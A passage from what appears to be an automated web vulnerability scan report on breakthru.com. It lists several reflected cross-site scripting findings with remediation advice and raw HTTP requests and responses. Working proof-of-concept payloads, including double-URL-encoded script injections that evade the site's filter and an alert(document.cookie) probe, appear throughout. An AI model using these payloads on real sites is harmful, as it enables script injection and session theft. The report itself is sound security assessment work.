Set-Cookie: REFERRAL_URL=; path=/; domain=.breakthru.com; expires=Sat, 11-Dec-2010 03:08:49 GMT
Set-Cookie: click_id_time=205702915_2010-12-10 07:08:49; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:08:49 GMT
ETag: TESTBED
P3P: CP="DSP LAW"
X-ApacheServer: ii32-27.friendfinderinc.com
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=147
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 13303

<html>
<head>
<link rel="canonical" href="/" />
<meta http-equiv="Content-Location" content="/" />
<link rel="stylesheet" type="text/css" href="http://graphics.breakthru.com/images/break/css/header.cs
...[SNIP]...
and="+rand+"&site=break&session="+sessionId+"&pwsid=&pagename="+pageName+"&pagestate=&referer="+refererPageName+"&country=United States&city="+"&lang=english&level="+"&gpid=g43369&pid=g43369.subffadult5a320";alert(1)//5d0e77ef8bd&event="+"&pagerendertime="+pageRenderTime+"&testbed=0";send=0;}}
function addEvent(obj,evType,fn){if(obj.addEventListener){obj.addEventListener(evType,fn,false);return true;}else if(obj.attachEvent){v
...[SNIP]...

2.2. http://breakthru.com/go/g43369.subffadult5a320%22%3balert%28document.cookie%29%2f%2f5d0e77ef8bd [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://breakthru.com
Path:   /go/g43369.subffadult5a320%22%3balert%28document.cookie%29%2f%2f5d0e77ef8bd

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2f166%2522%253balert%25281%2529%252f%252fdbf39926c4a was submitted in the REST URL parameter 2. This input was echoed as 2f166";alert(1)//dbf39926c4a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /go/2f166%2522%253balert%25281%2529%252f%252fdbf39926c4a HTTP/1.1
Host: breakthru.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: HISTORY=20101210-2-Dc1; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623;

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 15:26:58 GMT
Server: Apache
Set-Cookie: break_who=r,OnizEnuip1g9GFeQG36sYrukSvCd9Rj9B8Uguwxjo2dxgG9mzEZnWx85LFmtnmGphhHO9G1FaBxNyCXooVVWsK1KLJSPWgjvHYqGFczZC9oxVzASnHgVJ9T4D6EvsKcwztH8jgLlTl90IUsZZZTlI48UIuQ3kvl1Dn2M5CWB30o-; path=/; domain=.breakthru.com
Set-Cookie: v_hash=_english_; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:58 GMT
Set-Cookie: IP_COUNTRY=United States; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:58 GMT
Set-Cookie: break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:58 GMT
Set-Cookie: LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:58 GMT
Set-Cookie: HISTORY=20101210-3-Dc2; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:58 GMT
Set-Cookie: click_id_time=1588055416_2010-12-10 07:26:58; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:58 GMT
ETag: TESTBED
P3P: CP="DSP LAW"
X-ApacheServer: ii32-27.friendfinderinc.com
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=115
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 12837

<html>
<head>
<link rel="canonical" href="/" />
<meta http-equiv="Content-Location" content="/" />
<link rel="stylesheet" type="text/css" href="http://graphics.breakthru.com/images/break/css/header.cs
...[SNIP]...
ages/common/glean.gif?rand="+rand+"&site=break&session="+sessionId+"&pwsid=&pagename="+pageName+"&pagestate=&referer="+refererPageName+"&country=United States&city="+"&lang=english&level="+"&gpid=&pid=2f166";alert(1)//dbf39926c4a&event="+"&pagerendertime="+pageRenderTime+"&testbed=0";send=0;}}
function addEvent(obj,evType,fn){if(obj.addEventListener){obj.addEventListener(evType,fn,false);return true;}else if(obj.attachEvent){v
...[SNIP]...

2.3. http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://breakthru.com
Path:   /go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 77d85%2522%253balert%25281%2529%252f%252f0c1c9a1427d was submitted in the REST URL parameter 2. This input was echoed as 77d85";alert(1)//0c1c9a1427d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /go/77d85%2522%253balert%25281%2529%252f%252f0c1c9a1427d HTTP/1.1
Host: breakthru.com
Proxy-Connection: keep-alive
Referer: http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: break_who=r,LVqYnpdRNbaNmhEZKeU5dwWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; v_hash=_english_; IP_COUNTRY=United States; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; HISTORY=20101210-1-Dc; REFERRAL_URL=; click_id_time=682836376_2010-12-10 07:21:53; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmb=147063780.0.10.1291994469; __utmc=147063780

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 15:28:55 GMT
Server: Apache
Set-Cookie: break_who=r,/FClsN1xOCUem99OKWOB29OhHZH64uMMEJ0gMgyFC5Oqtw9R8AOh/b2vTAFUZ6spvkNva6wav/KLETcLytG2QvQVUSrLqhKdzlMBQHoXnikxVzASnHgVJ9T4D6EvsKcwztH8jgLlTl90IUsZZZTlI48UIuQ3kvl1Dn2M5CWB30o-; path=/; domain=.breakthru.com
Set-Cookie: v_hash=_english_; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:55 GMT
Set-Cookie: IP_COUNTRY=United States; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:55 GMT
Set-Cookie: break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:55 GMT
Set-Cookie: LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:55 GMT
Set-Cookie: HISTORY=20101210-2-Dc1; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:55 GMT
Set-Cookie: REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; path=/; domain=.breakthru.com; expires=Sat, 11-Dec-2010 03:28:55 GMT
Set-Cookie: click_id_time=1710361685_2010-12-10 07:28:55; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:55 GMT
ETag: TESTBED
P3P: CP="DSP LAW"
X-ApacheServer: ii32-27.friendfinderinc.com
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 13062

<html>
<head>
<link rel="canonical" href="/" />
<meta http-equiv="Content-Location" content="/" />
<link rel="stylesheet" type="text/css" href="http://graphics.breakthru.com/images/break/css/header.cs
...[SNIP]...
ages/common/glean.gif?rand="+rand+"&site=break&session="+sessionId+"&pwsid=&pagename="+pageName+"&pagestate=&referer="+refererPageName+"&country=United States&city="+"&lang=english&level="+"&gpid=&pid=77d85";alert(1)//0c1c9a1427d&event="+"&pagerendertime="+pageRenderTime+"&testbed=0";send=0;}}
function addEvent(obj,evType,fn){if(obj.addEventListener){obj.addEventListener(evType,fn,false);return true;}else if(obj.attachEvent){v
...[SNIP]...

2.4. http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://breakthru.com
Path:   /go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript rest-of-line comment. The payload eb225%250aalert%25281%2529%252f%252fe55faa24d83 was submitted in the REST URL parameter 2. This input was echoed as eb225
alert(1)//e55faa24d83
in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bdeb225%250aalert%25281%2529%252f%252fe55faa24d83 HTTP/1.1
Host: breakthru.com
Proxy-Connection: keep-alive
Referer: http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: break_who=r,LVqYnpdRNbaNmhEZKeU5dwWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; v_hash=_english_; IP_COUNTRY=United States; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; HISTORY=20101210-1-Dc; REFERRAL_URL=; click_id_time=682836376_2010-12-10 07:21:53; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmb=147063780.0.10.1291994469; __utmc=147063780

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 15:28:59 GMT
Server: Apache
Set-Cookie: break_who=r,yH2lEM7K0nD3LQkyrZ9A6j039LF9mgc/4/VLReTdG2rpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXY1o5qv1ZO8TvbVYDiyHl81niC//eqyPo9Aqh8jNNeqmRHsWj3Rl8AHLiiojjZ805HtEOq0my7p0kHpreel34HYGUHApnfTKa0YRykMS1WjSU-; path=/; domain=.breakthru.com
Set-Cookie: v_hash=_english_; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:59 GMT
Set-Cookie: IP_COUNTRY=United States; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:59 GMT
Set-Cookie: break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:59 GMT
Set-Cookie: LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:59 GMT
Set-Cookie: HISTORY=20101210-2-Dc1; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:59 GMT
Set-Cookie: REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; path=/; domain=.breakthru.com; expires=Sat, 11-Dec-2010 03:28:59 GMT
Set-Cookie: click_id_time=1336575535_2010-12-10 07:28:59; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:28:59 GMT
ETag: TESTBED
P3P: CP="DSP LAW"
X-ApacheServer: ii32-27.friendfinderinc.com
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 14032

<html>
<head>
<link rel="canonical" href="/" />
<meta http-equiv="Content-Location" content="/" />
<link rel="stylesheet" type="text/css" href="http://graphics.breakthru.com/images/break/css/header.cs
...[SNIP]...
d+"&pwsid=&pagename="+pageName+"&pagestate=&referer="+refererPageName+"&country=United States&city="+"&lang=english&level="+"&gpid=g43369&pid=g43369.subffadult5a320";alert(document.cookie)//5d0e77ef8bdeb225
alert(1)//e55faa24d83
&event="+"&pagerendertime="+pageRenderTime+"&testbed=0";send=0;}}
function addEvent(obj,evType,fn){if(obj.addEventListener){obj.addEventListener(evType,fn,false);return true;}else if(obj.attachEvent){v
...[SNIP]...

2.5. http://breakthru.com/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://breakthru.com
Path:   /

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7859a"-alert(1)-"a5855d0eb2b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET / HTTP/1.1
Host: breakthru.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: HISTORY=20101210-2-Dc1; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623;
Referer: http://www.google.com/search?hl=en&q=7859a"-alert(1)-"a5855d0eb2b

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 15:26:33 GMT
Server: Apache
Set-Cookie: break_who=r,G7/dZusZhPqaKRkBObBs2QWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; path=/; domain=.breakthru.com
Set-Cookie: v_hash=_english_; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:33 GMT
Set-Cookie: IP_COUNTRY=United States; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:33 GMT
Set-Cookie: break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:33 GMT
Set-Cookie: LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:33 GMT
Set-Cookie: HISTORY=20101210-3-Dc2; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:33 GMT
Set-Cookie: click_id_time=1983766719_2010-12-10 07:26:33; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:26:33 GMT
ETag: TESTBED
P3P: CP="DSP LAW"
X-ApacheServer: ii73-17.friendfinderinc.com
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=120
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 13572

<html>
<head>
<link rel="canonical" href="/" />
<meta http-equiv="Content-Location" content="/" />
<link rel="stylesheet" type="text/css" href="http://graphics.breakthru.com/images/break/css/header.cs
...[SNIP]...
(timedout==1)?'5000+':pageEndTime-pageStartTime;var sessionId=escape("0Nf7=;TF@kNE 1291994513 174.121.222.18 ");var pageName=escape(location.pathname);var referer="http://www.google.com/search?hl=en&q=7859a"-alert(1)-"a5855d0eb2b";var refererPageName=getRefererPageName(referer);var screenResolution=screen.width+"x"+screen.height;var glean=new Image();var ffProto=("https:"==document.location.protocol)?"https://":"http://";var r
...[SNIP]...

2.6. http://breakthru.com/go/g43369.subffadult [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://breakthru.com
Path:   /go/g43369.subffadult

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ddd89"-alert(1)-"4a7a514862c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /go/g43369.subffadult HTTP/1.1
Host: breakthru.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=ddd89"-alert(1)-"4a7a514862c

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 15:08:35 GMT
Server: Apache
Set-Cookie: break_who=r,KQ6GzmXIeBIK48_e7DJUAHyFNFZVfQX7u7jbJaXV3WPpJmQ4Ium3GALZCosxtuU4jIEr1z2zlvjwzu8_T2RDYEyNuhjP5h8GjErrVrFx69JLvTcK15UJHpdB78vvzsDYQPGz/h0BDwRxj4IialwPsQ--; path=/; domain=.breakthru.com
Set-Cookie: v_hash=_english_; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:08:35 GMT
Set-Cookie: IP_COUNTRY=United States; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:08:35 GMT
Set-Cookie: break_tr=r,MTJ1Cmdt1P4b08BoEiWC_dCgJ1Hyd3dqnuu4zq/ObzCYgWHKxUAlr2jM2doFWO8i; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:08:35 GMT
Set-Cookie: LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0&region&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:08:35 GMT
Set-Cookie: HISTORY=20101210-1-Dc; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:08:35 GMT
Set-Cookie: REFERRAL_URL=http://www.google.com/search?hl=en&q=ddd89"-alert(1)-"4a7a514862c; path=/; domain=.breakthru.com; expires=Sat, 11-Dec-2010 03:08:35 GMT
Set-Cookie: click_id_time=1249041762_2010-12-10 07:08:35; path=/; domain=.breakthru.com; expires=Sun, 09-Jan-2011 15:08:35 GMT
ETag: TESTBED
P3P: CP="DSP LAW"
X-ApacheServer: ii73-17.friendfinderinc.com
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=147
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 12802

<html>
<head>
<link rel="canonical" href="/" />
<meta http-equiv="Content-Location" content="/" />
<link rel="stylesheet" type="text/css" href="http://graphics.breakthru.com/images/break/css/header.cs
...[SNIP]...
(timedout==1)?'5000+':pageEndTime-pageStartTime;var sessionId=escape("4f5aYY^b_kkj 1291993715 174.121.222.18 ");var pageName=escape(location.pathname);var referer="http://www.google.com/search?hl=en&q=ddd89"-alert(1)-"4a7a514862c";var refererPageName=getRefererPageName(referer);var screenResolution=screen.width+"x"+screen.height;var glean=new Image();var ffProto=("https:"==document.location.protocol)?"https://":"http://";var r
...[SNIP]...

2.7. http://breakthru.com/go/g43369.subffadult5a320%22%3balert%28document.cookie%29%2f%2f5d0e77ef8bd [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://breakthru.com
Path:   /go/g43369.subffadult5a320%22%3balert%28document.cookie%29%2f%2f5d0e77ef8bd

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14e66"-alert(1)-"803cd91dc14 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /go/g43369.subffadult5a320%22%3balert%28document.cookie%29%2f%2f5d0e77ef8bd HTTP/1.1
Host: breakthru.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
